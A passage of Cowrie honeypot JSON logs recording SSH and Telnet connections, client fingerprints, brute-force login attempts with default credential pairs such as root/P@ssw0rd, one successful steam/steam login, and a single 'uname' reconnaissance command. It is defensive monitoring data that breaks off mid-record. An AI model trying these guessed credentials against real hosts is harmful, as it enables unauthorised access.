{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:36.300322Z","src_ip":"165.154.137.186","session":"3f901df12ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:36.714247Z","src_ip":"165.154.137.186","session":"ecb603eda7c1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:36.865923Z","src_ip":"165.154.137.186","session":"3f901df12ed3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:36.869164Z","src_ip":"165.154.137.186","session":"3f901df12ed3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:37.133754Z","src_ip":"165.154.137.186","session":"3f901df12ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:37.138628Z","src_ip":"165.154.137.186","session":"3f901df12ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@2022","message":"login attempt [root/Welcome@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:41.753069Z","src_ip":"27.71.230.31","session":"2e8322b62575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:43.140838Z","src_ip":"27.71.230.31","session":"2e8322b62575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":41242,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c6ccb43a23d","protocol":"ssh","message":"New connection: 92.113.145.209:41242 (159.203.135.109:22) [session: 6c6ccb43a23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:44.628056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:44.633615Z","src_ip":"92.113.145.209","session":"6c6ccb43a23d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:44.757306Z","src_ip":"92.113.145.209","session":"6c6ccb43a23d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bala","password":"bala","message":"login attempt [bala/bala] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:45.284487Z","src_ip":"92.113.145.209","session":"6c6ccb43a23d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:46.409267Z","src_ip":"92.113.145.209","session":"6c6ccb43a23d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50560,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7d5d4fd7dfc","protocol":"ssh","message":"New connection: 165.154.137.186:50560 (10.17.0.5:22) [session: d7d5d4fd7dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:54.678570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:54.682405Z","src_ip":"165.154.137.186","session":"d7d5d4fd7dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:54.926260Z","src_ip":"165.154.137.186","session":"d7d5d4fd7dfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:55.660294Z","src_ip":"165.154.137.186","session":"d7d5d4fd7dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:56.913697Z","src_ip":"165.154.137.186","session":"d7d5d4fd7dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":33444,"dst_ip":"10.17.0.5","dst_port":22,"session":"80ac9aacf8b0","protocol":"ssh","message":"New connection: 165.154.137.186:33444 (10.17.0.5:22) [session: 80ac9aacf8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:07.261631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:07.267512Z","src_ip":"165.154.137.186","session":"80ac9aacf8b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:07.516353Z","src_ip":"165.154.137.186","session":"80ac9aacf8b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:08.265028Z","src_ip":"165.154.137.186","session":"80ac9aacf8b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:09.515832Z","src_ip":"165.154.137.186","session":"80ac9aacf8b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43114,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1075ba38db","protocol":"ssh","message":"New connection: 165.154.137.186:43114 (10.17.0.5:22) [session: 6c1075ba38db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:18.423580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:18.427770Z","src_ip":"165.154.137.186","session":"6c1075ba38db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:18.678257Z","src_ip":"165.154.137.186","session":"6c1075ba38db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:19.753883Z","src_ip":"165.154.137.186","session":"6c1075ba38db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:21.007076Z","src_ip":"165.154.137.186","session":"6c1075ba38db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":34878,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5e3171f66a8","protocol":"ssh","message":"New connection: 101.47.159.125:34878 (159.203.135.109:22) [session: b5e3171f66a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:26.408072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:26.412992Z","src_ip":"101.47.159.125","session":"b5e3171f66a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:26.661391Z","src_ip":"101.47.159.125","session":"b5e3171f66a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"global","password":"global","message":"login attempt [global/global] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:27.692878Z","src_ip":"101.47.159.125","session":"b5e3171f66a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:28.945585Z","src_ip":"101.47.159.125","session":"b5e3171f66a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43814,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e6d1a164c51","protocol":"telnet","message":"New connection: 172.81.62.90:43814 (159.203.135.109:23) [session: 8e6d1a164c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:37.040627Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35574,"dst_ip":"10.17.0.5","dst_port":22,"session":"46b7b915acd4","protocol":"ssh","message":"New connection: 165.154.137.186:35574 (10.17.0.5:22) [session: 46b7b915acd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:40.807933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:40.813519Z","src_ip":"165.154.137.186","session":"46b7b915acd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:41.071261Z","src_ip":"165.154.137.186","session":"46b7b915acd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52350,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5c4566de7ec","protocol":"telnet","message":"New connection: 128.199.8.54:52350 (159.203.135.109:23) [session: a5c4566de7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:41.548315Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:41.847815Z","src_ip":"165.154.137.186","session":"46b7b915acd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:43.109270Z","src_ip":"165.154.137.186","session":"46b7b915acd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":28560,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cea8437fe11","protocol":"telnet","message":"New connection: 34.76.34.170:28560 (159.203.135.109:23) [session: 5cea8437fe11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:50.415383Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":28562,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f737e4397f7","protocol":"telnet","message":"New connection: 34.76.34.170:28562 (159.203.135.109:23) [session: 7f737e4397f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:50.572257Z"}
{"eventid":"cowrie.session.closed","duration":0.005537748336791992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:50.577618Z","src_ip":"34.76.34.170","session":"7f737e4397f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.34.170","src_port":28566,"dst_ip":"159.203.135.109","dst_port":23,"session":"11a8a28daa37","protocol":"telnet","message":"New connection: 34.76.34.170:28566 (159.203.135.109:23) [session: 11a8a28daa37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:50.729753Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45676,"dst_ip":"159.203.135.109","dst_port":22,"session":"6247e1e5b048","protocol":"ssh","message":"New connection: 27.71.230.31:45676 (159.203.135.109:22) [session: 6247e1e5b048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:55.327617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:55.391886Z","src_ip":"27.71.230.31","session":"6247e1e5b048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.324801445007324,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:55.740077Z","src_ip":"34.76.34.170","session":"5cea8437fe11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43846,"dst_ip":"10.17.0.5","dst_port":22,"session":"f646139e0e5d","protocol":"ssh","message":"New connection: 165.154.137.186:43846 (10.17.0.5:22) [session: f646139e0e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:56.658658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:24:56.662991Z","src_ip":"165.154.137.186","session":"f646139e0e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 